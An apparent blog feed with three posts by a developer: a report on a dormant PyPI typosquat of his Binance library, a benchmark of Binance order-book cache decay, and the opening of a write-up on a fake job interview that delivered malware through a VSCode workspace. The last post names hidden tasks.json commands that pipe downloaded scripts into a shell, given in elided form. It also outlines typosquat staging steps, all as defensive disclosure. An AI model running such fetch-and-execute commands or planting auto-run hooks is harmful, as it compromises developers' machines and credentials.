<p>The same account that publishes remote-control / botnet / trojan / backdoor tooling also uploaded a near-identical fork of my Binance trading library, under a plausible suffix, into the same import namespace, while keeping historical LUCIT author metadata that makes it look more official than it is.</p>
<p>That is not proof of an active attack.</p>
<p>But it is a very uncomfortable dormant supply-chain setup.</p>
<p>A clean package can still be a staging point:</p>
<ol>
<li>publish a harmless fork,</li>
<li>use a plausible name,</li>
<li>keep the official import namespace,</li>
<li>make small maintenance-looking changes,</li>
<li>accumulate a few downloads,</li>
<li>wait until it lands in a script, CI job, Dockerfile, or AI-generated install instruction,</li>
<li>weaponize a later release.</li>
</ol>
<p>The right time to remove that setup is before the final step.</p>
<h2>Clean does not mean harmless</h2>
<p>This is the important part.</p>
<p>Security teams often look for malware.</p>
<p>That makes sense.</p>
<p>But package-index abuse is not always malware on day one.</p>
<p>Sometimes the first step is just occupying a name.</p>
<p>Or copying a brand.</p>
<p>Or shadowing an import namespace.</p>
<p>Or making a package look official enough that one user, one developer, one CI pipeline, or one AI-generated install instruction picks it up.</p>
<p>Once that happens, the uploader does not need to win the whole ecosystem.</p>
<p>They only need one useful installation.</p>
<p>This is why clean typosquats matter.</p>
<p>They are not harmless just because the current artifact has no payload.</p>
<p>They are infrastructure.</p>
<h2>How this relates to the GitHub impersonation campaign</h2>
<p>The recent GitHub impersonation campaign was different.</p>
<p>That one was already weaponized.</p>
<p>It used fake repositories impersonating known open source projects and delivered malware through a Python dropper.</p>
<p>This PyPI package is not that.</p>
<p>But the trust primitive is the same:</p>
<p>the user relies on a recognizable project name.</p>
<p>On GitHub, that trust was abused through repository impersonation.</p>
<p>On PyPI, it is abused through package-name similarity, metadata spoofing, and import namespace shadowing.</p>
<p>Different vector.</p>
<p>Same weak point.</p>
<p>Developer trust.</p>
<h2>Why this matters for Binance developers</h2>
<p>UNICORN Binance WebSocket API is used by developers who connect trading systems, bots, dashboards, and infrastructure to Binance.</p>
<p>That makes package identity more sensitive than it may look at first glance.</p>
<p>A malicious package in this space does not need to steal money directly to cause serious damage.</p>
<p>It could steal environment variables.</p>
<p>It could read API keys.</p>
<p>It could exfiltrate account metadata.</p>
<p>It could observe trading infrastructure.</p>
<p>It could tamper with stream handling.</p>
<p>It could simply prepare a developer machine for a second-stage compromise.</p>
<p>This is exactly why I care about these cases early.</p>
<p>A clean squat today can become a dangerous dependency tomorrow.</p>
<p>And when the affected ecosystem is automated trading, “tomorrow” is too late.</p>
<h2>Recommendations for users</h2>
<p>If you use UNICORN Binance WebSocket API, the official package is:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api
</code></pre>
<p>Not:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api-onion
</code></pre>
<p>There is no official <code>-onion</code> package.</p>
<p>If you find <code>unicorn-binance-websocket-api-onion</code> in an environment, remove it and replace it with the official distribution.</p>
<p>Also check how it got there.</p>
<p>Look in:</p>
<ul>
<li><p><code>requirements.txt</code></p>
</li>
<li><p><code>pyproject.toml</code></p>
</li>
<li><p><code>setup.py</code></p>
</li>
<li><p>Dockerfiles</p>
</li>
<li><p>CI workflows</p>
</li>
<li><p>deployment scripts</p>
</li>
<li><p>cached virtual environments</p>
</li>
<li><p>internal package mirrors</p>
</li>
</ul>
<p>For any package, not just mine, check:</p>
<ul>
<li><p>the exact distribution name</p>
</li>
<li><p>the project URL</p>
</li>
<li><p>the author metadata</p>
</li>
<li><p>the upload history</p>
</li>
<li><p>whether the import namespace matches a different known project</p>
</li>
<li><p>whether the package has a plausible-but-unofficial suffix like <code>-secure</code>, <code>-pro</code>, <code>-fast</code>, <code>-onion</code>, <code>-tor</code>, <code>-utils</code>, or <code>-plus</code></p>
</li>
</ul>
<p>These checks take seconds.</p>
<p>They prevent ugly surprises.</p>
<h2>Recommendation for PyPI</h2>
<p>I am reporting this package.</p>
<p>The removal argument is not that the current artifact contains malware.</p>
<p>The removal argument is:</p>
<ul>
<li><p>misleading project name</p>
</li>
<li><p>spoofed historical author metadata</p>
</li>
<li><p>same import namespace as the official package</p>
</li>
<li><p>no legitimate reason to exist under this naming pattern</p>
</li>
<li><p>concrete dormant-package risk</p>
</li>
</ul>
<p>The installed footprint appears to be small.</p>
<p>That makes now the right time to remove it.</p>
<p>Removing a dormant squat before it is used is much less disruptive than removing a weaponized package after it has landed in production environments.</p>
<h2>Recommendation for maintainers</h2>
<p>Run name-collision sweeps for your own projects.</p>
<p>Search PyPI for your package names plus common suffixes:</p>
<pre><code class="language-text">-onion
-tor
-secure
-pro
-fast
-utils
-plus
-client
-api
</code></pre>
<p>If something looks suspicious:</p>
<ol>
<li><p>Download the artifacts.</p>
</li>
<li><p>Do not install them.</p>
</li>
<li><p>Do not import them.</p>
</li>
<li><p>Inspect the wheel and sdist statically.</p>
</li>
<li><p>Compare against your own release.</p>
</li>
<li><p>Record hashes.</p>
</li>
<li><p>Check metadata.</p>
</li>
<li><p>Report with a concise technical summary.</p>
</li>
</ol>
<p>You do not need a huge malware lab for this kind of first-pass triage.</p>
<p>A clean diff, hashes, and a clear explanation are already useful.</p>
<h2>Closing note</h2>
<p>The interesting thing about this case is not the malware.</p>
<p>There is none in the version I reviewed.</p>
<p>The interesting thing is the setup:</p>
<p>a spoofed brand, a plausible suffix, the official import namespace, old author metadata, and a maintainer profile that makes the dormant slot uncomfortable.</p>
<p>That is enough.</p>
<p>A supply-chain attack does not start when the payload executes.</p>
<p>It often starts earlier, when trust is quietly acquired.</p>
<p>That is why I am reporting this package now.</p>
<p>Not because it is malware today.</p>
<p>Because it should not be allowed to become useful tomorrow.</p>
<hr />
<p>I hope you found this informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Your Binance DepthCache is rotting — here's the proof in 25 hours]]></title><description><![CDATA[A local Binance Spot order book can look healthy at the top and still be structurally wrong underneath.
Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you s]]></description><link>https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours</link><guid isPermaLink="true">https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours</guid><category><![CDATA[binance]]></category><category><![CDATA[order book]]></category><category><![CDATA[depth-cache]]></category><category><![CDATA[Python]]></category><category><![CDATA[crypto infrastructure]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 29 Apr 2026 15:56:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/13ccbc99-3655-4a6c-b387-001ffe6e243b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A local Binance Spot order book can look healthy at the top and still be structurally wrong underneath.</p>
<p>Not “a little bit noisy”. Not “slightly delayed”. Wrong in the way that only shows up when you stop looking at best bid / best ask and audit the whole local book.</p>
<p>After a single quiet day on BTCUSDT, my naive no-retention DepthCache ended up with only <strong>24.09% matching bid levels</strong> and <strong>39.82% matching ask levels</strong>. Most of the local book had turned into ghosts: price levels still present locally, but no longer present in a fresh REST snapshot.</p>
<p>I have known about this class of problem for years. So have other people who have shipped trading systems against Binance. Most of us learned it the hard way, patched our own systems, and moved on.</p>
<p>I already wrote up the mechanism in <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a>. That article explains the bug class. This one is the forensic benchmark: the same problem measured over 25 hours with a naive implementation and a pruned implementation running side by side.</p>
<p>This time I wanted numbers.</p>
<p>So I ran two DepthCaches side by side for 25 hours, fed by the same WebSocket stream, audited hourly against fresh REST snapshots, and plotted the decay in 3D.</p>
<p>Here is the proof.</p>
<h2>What a DepthCache is, and what the Binance docs say</h2>
<p>A DepthCache (DC) is a local mirror of the order book. You keep bids and asks per price level in memory and update them from the exchange stream, so your strategy does not need to hit REST every time it wants to know where the book currently is.</p>
<p>Binance documents how to manage a local Spot order book. The current guide is better than many older code examples floating around: it uses a REST snapshot with <code>limit=5000</code>, explains how to align buffered WebSocket events with <code>lastUpdateId</code>, and explicitly documents update-ID continuity checks.</p>
<p>Short version of the official flow:</p>
<ol>
<li><p>Open a WebSocket to <code>&lt;symbol&gt;@depth</code>.</p>
</li>
<li><p>Buffer events.</p>
</li>
<li><p>Fetch <code>GET /api/v3/depth?symbol=...&amp;limit=5000</code>.</p>
</li>
<li><p>Align buffered events with the snapshot's <code>lastUpdateId</code>.</p>
</li>
<li><p>Apply updates in order.</p>
</li>
<li><p>If an event proves you missed updates, discard the local book and restart from a fresh snapshot.</p>
</li>
<li><p>For every streamed price level, set the new quantity; if quantity is zero, remove the level.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7650db9a-ab84-4a4b-a42b-3f763c7566c7.png" alt="" style="display:block;margin:0 auto" />

<p>The important part is not what Binance gets right here. The guide does document update continuity. It also warns that because REST snapshots are limited to 5000 levels per side, you will not know quantities for levels outside the initial snapshot unless those levels change, and that those levels may not reflect the full view of the order book.</p>
<p>That warning is the key.</p>
<p>The guide tells you how to synchronize and how to apply events. It does <strong>not</strong> define a retention policy for a bounded local cache. It does not say what your local book's maximum depth should be after hours of streamed updates. It does not say when to evict levels that entered through the stream but are no longer inside the view you can validate.</p>
<p>That missing retention rule is where the rot starts.</p>
<h2>What the stream actually does</h2>
<p>The depth stream does not care about the conceptual depth corridor your local application wants to maintain.</p>
<p>In practice, it can send updates for levels far away from the current mid price: ladders placed and pulled 2% away from mid, deep ask-side repricing, limit orders parked far away in case of a flash move, and other book activity that your local cache may not have a stable baseline for.</p>
<p>A naive DC applies those updates anyway.</p>
<p>It sees a price level. It inserts it. The normal update procedure removes that level only if a later <code>qty=0</code> arrives for the same price. Sometimes that cleanup event never arrives in a way your local cache can rely on. The level may have been cancelled, replaced, moved, or simply fallen out of the region that your local implementation still validates.</p>
<p>So it stays.</p>
<p>And then the next one stays.</p>
<p>And the next one.</p>
<p>After a few hours, your local order book is no longer a bounded view of the exchange book. It is a growing collection of historical levels.</p>
<p>I once discussed this exact class of problem with a Binance engineer in Telegram. The takeaway was clear: production systems cannot stop at basic synchronization; they need their own pruning, gap handling, and resync logic.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/35971b5d-023d-4285-a019-2f6cb2184867.png" alt="" style="display:block;margin:0 auto" />

<p>This is not a new class of problem. A public Binance depth-cache note from 2017 already described the same operational issue: if the order book shifts far enough from the snapshot, a local book can miss levels, and the implementation has to track that shift and resync.</p>
<p><a href="https://gist.github.com/sammchardy/5515afe1dff84475098f669a62558860">Historical Binance Depth Cache Notes</a></p>
<p>This eventually became a tracked issue while I was debugging drift in my own UNICORN Binance Local Depth Cache implementation:</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45">https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45</a></p>
<p>But a known issue is not the same as a measured failure mode.</p>
<p>So I measured it.</p>
<h2>The setup</h2>
<p>I ran two DepthCaches. Same symbol, same stream, same audit schedule.</p>
<p>Only one thing changed.</p>
<ul>
<li><p><code>naive</code> — insert streamed levels, update quantities, remove only on <code>qty=0</code>, no active pruning / retention policy.</p>
</li>
<li><p><code>fixed</code> — same initialization and update logic, but with active pruning back to the top-1000 levels per side after applied updates.</p>
</li>
</ul>
<p>This benchmark uses a <strong>top-1000 target corridor</strong> on purpose. That makes the experiment smaller, faster to inspect, and more brutal in the charts. It is not claiming that Binance's current documentation says to initialize with <code>limit=1000</code>; the current guide says <code>limit=5000</code>.</p>
<p>The tested failure mode is more specific and more important:</p>
<blockquote>
<p>What happens when a local order book inserts streamed price levels but does not enforce an active retention boundary?</p>
</blockquote>
<p>A larger initial snapshot gives you a wider starting view. It does not by itself define what to do with streamed levels after the local book has been running for hours. Without a retention policy, the same class of stale-level accumulation still exists — just with a wider corridor and a different time profile.</p>
<p>The <code>fixed</code> variant is intentionally minimal. It does <strong>not</strong> include full UBLDC behavior. UBLDC also does update-ID gap detection and full resync on protocol violations. Binance documents that continuity check, and production code should implement it. I left it out of <code>fixed</code> deliberately, because this experiment isolates one variable only: pruning.</p>
<p>Both DCs were fed by <strong>the same</strong> WebSocket subscription via UBWA: one stream, two consumers.</p>
<p>Both were audited against <strong>the same</strong> REST snapshots at the same timestamps.</p>
<p>So any difference between <code>naive</code> and <code>fixed</code> comes from the retention strategy, not from feed drift.</p>
<p>The audit ran once per hour, with one extra audit immediately after initial sync and another after five minutes. Each audit fetched a fresh REST snapshot with <code>limit=5000</code> and classified every local price level as one of:</p>
<ul>
<li><p><code>match</code> — level exists in REST and local cache, quantity is equal</p>
</li>
<li><p><code>drift</code> — level exists in both, but quantity differs</p>
</li>
<li><p><code>orphaned</code> — level exists locally, but not in REST ← the important one</p>
</li>
<li><p><code>missed</code> — level exists in REST, but not locally</p>
</li>
</ul>
<p>The <code>limit=5000</code> audit snapshot is deliberate. It checks whether a locally orphaned level is still alive deeper in REST's view, or whether it is stale relative to Binance's largest public REST snapshot.</p>
<p>One important methodology note: <code>missed</code> will show roughly 4000 levels per side for both variants. That is expected. REST returns 5000 levels, but both DCs only claim to maintain a top-1000 corridor. Those 4000 are not the failure.</p>
<p>The health metric that matters here is:</p>
<blockquote>
<p>How much of the local cache still matches REST?</p>
</blockquote>
<h2>Results</h2>
<p>The run lasted <strong>25.10 hours</strong> on BTCUSDT, from <strong>2026-04-28 08:51</strong> to <strong>2026-04-29 10:18</strong> Europe/Vienna time.</p>
<p>BTC was calm during the window: total mid-price range was only <strong>1.88%</strong>, with no flash event.</p>
<p>That matters. A quiet market is the easy case. More movement means more old levels falling out of the active region and more stale levels accumulating. So these numbers are not worst-case. They are probably closer to a lower bound for this no-retention pattern.</p>
<h3>The headline chart</h3>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/comparison.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/16710fd7-db82-4504-92ed-9a2f9f8405b2.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/comparison.html">comparison.html</a></p>
<h3>Final numbers</h3>
<table>
<thead>
<tr>
<th></th>
<th>n_bids</th>
<th>n_asks</th>
<th>bid_match</th>
<th>ask_match</th>
<th>total_orphaned</th>
<th>pruned (cumulative)</th>
</tr>
</thead>
<tbody><tr>
<td><code>naive</code> (audit #27)</td>
<td>20 758</td>
<td>9 116</td>
<td><strong>24.09%</strong></td>
<td><strong>39.82%</strong></td>
<td>21 244</td>
<td>—</td>
</tr>
<tr>
<td><code>fixed</code> (audit #27)</td>
<td>1 011</td>
<td>1 078</td>
<td><strong>87.83%</strong></td>
<td><strong>91.74%</strong></td>
<td>305</td>
<td><strong>295 121</strong></td>
</tr>
</tbody></table>
<p>The naive DC starts almost perfect. At t=0 it has <strong>99.6% bid match</strong>.</p>
<p>Then it rots.</p>
<p>For the first six hours, the decay is roughly linear. After that, it plateaus with only about a quarter to a third of bid-side local levels still matching REST.</p>
<p>The fixed DC stays in the <strong>75-97% match range</strong> over the full run. The lower bound around audit #15, #20, and #24 corresponds exactly to audits taken right after WebSocket reconnects; the run log confirms reconnect events at those audit timestamps.</p>
<p>There were 10 reconnects total, all auto-recovered by UBWA, but each reconnect can leave a small update-ID gap. Pruning cannot repair that. Gap detection and resync can.</p>
<p>That is exactly why production-grade DC logic needs both:</p>
<ul>
<li><p>pruning, to prevent stale levels from accumulating</p>
</li>
<li><p>gap detection and resync, to recover from broken update continuity</p>
</li>
</ul>
<h2>The 3D scatter</h2>
<p>The 3D plots make the failure obvious.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/63e02837-099e-4e23-9a11-c3c1b8d78136.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive 3D chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_naive.html">report_naive.html</a><br />Warning: large Plotly file, about 78 MB.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_fixed.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3ad446e5-6504-4007-ad2c-1fdb8bdf4b1a.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive 3D chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_fixed.html">report_fixed.html</a><br />Warning: large Plotly file, about 41 MB.</p>
<p>In the naive plot, the red orphaned tail is the story.</p>
<p>It is not random noise. It forms a coherent ribbon of dead levels trailing the mid price. As the market moves, levels that were once near the active book fall out of the bounded view. The naive cache never evicts them.</p>
<p>So they become ghosts.</p>
<p>The fixed plot is what a bounded local book should look like. The remaining orange and red points near the top of book are explainable by audit-time race conditions and reconnect gaps. Those are separate, known problems. They are not evidence against pruning.</p>
<h2>The forensic plots</h2>
<p>For anyone tempted to call this measurement error, the forensic plots tell the same story from different angles.</p>
<p><strong>Distance of orphaned levels from mid:</strong> orphaned levels cluster around ±0.5-2% from the mid price. They are shaped by market movement. The tails get fatter audit by audit because old levels accumulate.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/distance_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/09a730fe-da8d-4372-aaae-2a21587560e8.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/distance_naive.html">distance_naive.html</a></p>
<p><strong>Age of orphaned levels:</strong> for every orphaned level in the final audit, I checked all 27 archived REST snapshots and asked when REST last contained that price.</p>
<p>The result is bimodal:</p>
<ul>
<li><p>a smaller group of recently rotted levels, last seen 1-5 hours ago</p>
</li>
<li><p>a huge spike at “never seen”</p>
</li>
</ul>
<p>That second group is important. These levels arrived through the diff stream, but were never present in any archived REST <code>limit=5000</code> snapshot. They entered the local cache from outside the audited REST corridor and then stayed there as dead weight.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/age_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e45a255a-a195-4b6a-93b8-664c2df0859d.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/age_naive.html">age_naive.html</a></p>
<p><strong>Volatility correlation:</strong> per-hour growth in orphaned levels correlates with per-hour absolute mid-price movement. More movement, more rot.</p>
<p>The biggest single-window mid move in this run was only <strong>0.07%</strong>. Even that modest move produced a visible orphaned-level jump. On a flash-down or high-volatility day, this would look much worse.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/116ce129-9b26-4789-b4f7-6102745ae523.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_naive.html">volatility_naive.html</a></p>
<h2>Why it happens, in one paragraph</h2>
<p>The REST snapshot gives you a bounded initial view. The diff stream can then deliver updates for price levels outside the view your application intends to maintain. The documented update procedure tells you how to apply those updates and how to detect broken update continuity, but it does not define a long-running retention policy for a bounded local cache. So a naive implementation inserts levels it cannot reliably validate later, and keeps them until it happens to receive a cleanup update. There is no safe operational guarantee that this will happen for every deep level before the local book becomes polluted. Over time, the cache accumulates orphaned price levels. After 25 quiet hours, the naive DC contains tens of thousands of stale levels and no longer resembles Binance's largest public REST snapshot outside the very top of book.</p>
<h2>What to do</h2>
<p>There are three sane options.</p>
<p><strong>1. Use something that explicitly handles this.</strong></p>
<p>UBLDC (UNICORN Binance Local Depth Cache) does bounded book maintenance, stale-level pruning, update-ID gap detection, and full resync on protocol violations. Yes, I work on it, so I am biased. But the real point is broader:</p>
<p>Do not trust a DepthCache implementation just because it can follow the Binance synchronization steps.</p>
<p>Trust it only if it can explain these things:</p>
<ul>
<li><p>What is the maximum local depth per side after 24 hours?</p>
</li>
<li><p>Which levels are allowed to stay in memory?</p>
</li>
<li><p>When are stale levels evicted?</p>
</li>
<li><p>How is update-ID continuity verified?</p>
</li>
<li><p>What happens after a WebSocket reconnect?</p>
</li>
<li><p>When is the local book discarded and rebuilt?</p>
</li>
</ul>
<p>If your library or internal implementation cannot answer those questions, it is probably not production-safe.</p>
<p><strong>2. Roll your own with active pruning.</strong></p>
<p>If you have a reason to maintain your own DC code, the minimum additional logic is active pruning back to the depth corridor you can actually validate.</p>
<pre><code class="language-python"># After applied updates:
if len(bids) &gt; top_n:
    keep = sorted(bids.keys(), reverse=True)[:top_n]
    bids = {p: bids[p] for p in keep}

if len(asks) &gt; top_n:
    keep = sorted(asks.keys())[:top_n]
    asks = {p: asks[p] for p in keep}
</code></pre>
<p>In production, you would usually prune with a small tolerance window instead of sorting on every single update. The invariant is the same: the local book must not be allowed to grow beyond the depth corridor you can actually validate.</p>
<p>That alone took this experiment from a rotting book — roughly <strong>24% bid match</strong> and <strong>40% ask match</strong> — to a much healthier <strong>88% bid match</strong> and <strong>92% ask match</strong>.</p>
<p>It is not a micro-optimization. It is correctness logic.</p>
<p><strong>3. Detect gaps and resync.</strong></p>
<p>Pruning fixes stale-level accumulation. It does not fix broken update continuity.</p>
<p>Each diff event has <code>U</code> and <code>u</code> fields. Binance documents that if an event's first update ID is greater than your local update ID + 1, you missed events and must discard the local order book and restart from the beginning.</p>
<p>That can happen during WebSocket reconnects, server-side hiccups, local buffering problems, network loss, or payload backpressure.</p>
<p>When it happens, do not “continue carefully”. Discard the local book and reinitialize from a fresh REST snapshot.</p>
<p>The 10 reconnects during this run are visible in the <code>fixed</code> variant as small match% dips. They are not solved by pruning. They are solved by gap detection plus resync.</p>
<p>A production DepthCache needs both.</p>
<h2>Reproducibility</h2>
<p>The supplementary material index is here:</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics">https://oliver-zehentleitner.github.io/binance-depthcache-forensics</a></p>
<p>The public GitHub repository is here:</p>
<ul>
<li><a href="https://github.com/oliver-zehentleitner/binance-depthcache-forensics">github.com/oliver-zehentleitner/binance-depthcache-forensics</a></li>
</ul>
<p>It tracks the GitHub Pages index, interactive chart links, raw audit data, and benchmark context.</p>
<p>The whole experiment is about 600 lines of Python (<code>dc.py</code>, <code>audit.py</code>, <code>plotter.py</code>, <code>run.py</code>, <code>analysis.py</code>) plus the <code>unicorn-binance-websocket-api</code> dependency and Plotly.</p>
<p>The raw data is available here:</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz">https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz</a></p>
<p>It contains the audit JSON files, archived REST snapshots, and run logs. If you want to verify a number from this article, it is in there.</p>
<p>Supporting charts are also available:</p>
<ul>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/counts_naive.html">counts_naive.html</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/counts_fixed.html">counts_fixed.html</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_fixed.html">volatility_fixed.html</a></p>
</li>
</ul>
<h2>Related reading</h2>
<p>If you want the shorter conceptual version before the benchmark, start here:</p>
<ul>
<li><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></li>
</ul>
<p>That article explains the failure mode. This article proves how fast and how far it accumulates in a real run when no active retention policy is enforced.</p>
<h2>Final note</h2>
<p>If you currently run a trading strategy against a DepthCache you wrote yourself, dump it and compare it against a fresh REST snapshot.</p>
<p>Not the best bid.</p>
<p>Not the first ten levels.</p>
<p>The whole local book.</p>
<p>You may not like what you find.</p>
<hr />
<p>I hope you found this informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[I had a fake job interview. It was a malware delivery chain.]]></title><description><![CDATA[2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel fe]]></description><link>https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain</link><guid isPermaLink="true">https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Malware]]></category><category><![CDATA[VS Code]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[DevSecOps]]></category><category><![CDATA[contagious-interview]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 29 Apr 2026 12:30:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/49c754f4-83d9-474e-9be0-e1d4268d2cfb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.<br />I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds.</p>
</blockquote>
<hr />
<h2>TL;DR</h2>
<p>Today I was invited to what looked like a normal Google Meet job interview.</p>
<p>The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode.</p>
<p>I did not.</p>
<p>Instead, I inspected the repository in the browser first and found a malicious <code>.vscode/tasks.json</code> file.</p>
<p>The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted:</p>
<ul>
<li><p>Linux: <code>wget ... | sh</code></p>
</li>
<li><p>macOS: <code>curl ... | bash</code></p>
</li>
<li><p>Windows: <code>curl ... | cmd</code></p>
</li>
</ul>
<p>The commands were visually hidden by pushing the <code>"command"</code> field more than 200 columns to the right with whitespace padding.</p>
<p>The payloads were hosted on rotating Vercel subdomains under <code>/api/settings/{linux,mac,windows}</code>.</p>
<p>Further analysis showed a second execution path through <code>npm install</code>, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded <code>.env</code> value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026.</p>
<p>I submitted the indicators and infrastructure reports to:</p>
<ul>
<li><p>abuse.ch ThreatFox</p>
</li>
<li><p>abuse.ch URLhaus</p>
</li>
<li><p>AlienVault OTX</p>
</li>
<li><p>GitHub Trust &amp; Safety</p>
</li>
<li><p>Vercel Trust &amp; Safety</p>
</li>
<li><p>LinkedIn Trust &amp; Safety</p>
</li>
</ul>
<p>Vercel has acknowledged the abuse report under case number <code>01139817</code>.</p>
<p>GitHub has acknowledged the repository abuse report under support ticket <code>#4339052</code>.</p>
<p>This is the lesson:</p>
<blockquote>
<p>Opening an unknown repository in a modern developer tool is not a passive action anymore.</p>
</blockquote>
<p>The old mental model was:</p>
<blockquote>
<p>"I did not run the code, I only opened the project."</p>
</blockquote>
<p>That model is broken.</p>
<p>The real question is:</p>
<blockquote>
<p>"Did my tooling trust the project?"</p>
</blockquote>
<hr />
<h2>How it started</h2>
<p>On 2026-04-13, I received a LinkedIn InMail from a profile using the name:</p>
<blockquote>
<p>John Armour Lamont<br />CEO &amp; Founder | Climate action through Technology</p>
</blockquote>
<p>The message looked like ordinary recruiter outreach:</p>
<ul>
<li><p>DevSecOps</p>
</li>
<li><p>security architecture</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>CI/CD</p>
</li>
<li><p>scalable infrastructure</p>
</li>
<li><p>Web3 platform</p>
</li>
<li><p>DevSecOps Lead / Solution Architect</p>
</li>
</ul>
<p>All of that matches my public LinkedIn profile closely enough to feel plausible.</p>
<p>But the message also had the classic smell of a generic lure:</p>
<ul>
<li><p>no company name</p>
</li>
<li><p>no product name</p>
</li>
<li><p>no founder names</p>
</li>
<li><p>no funding source</p>
</li>
<li><p>no concrete architecture</p>
</li>
<li><p>no concrete chain</p>
</li>
<li><p>no real technical framing</p>
</li>
</ul>
<p>I asked for details before scheduling anything.</p>
<p>The answer stayed vague:</p>
<blockquote>
<p>"The MVP is completed, and we've secured initial funding $6M."<br />"The team is lean but growing."<br />"We're leveraging EVM compatible chains."<br />"It would be better to discuss this during the meeting."</p>
</blockquote>
<p>That is not proof of malice.</p>
<p>But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts.</p>
<p>A few Calendly links later, we scheduled the call.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2e9ec054-d0cb-4e88-9fbe-a1f80bf24716.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The thing that saved me</h2>
<p>Two days before the interview, I read <a href="https://www.reddit.com/r/blueteamsec/comments/1sw26a2/claudecodebackdoor_backdooring_claude_code_via/">a Reddit post about a Claude Code proof-of-concept</a> by <a href="https://www.linkedin.com/in/s0ld13r/">Zhangir Ospanov</a>.</p>
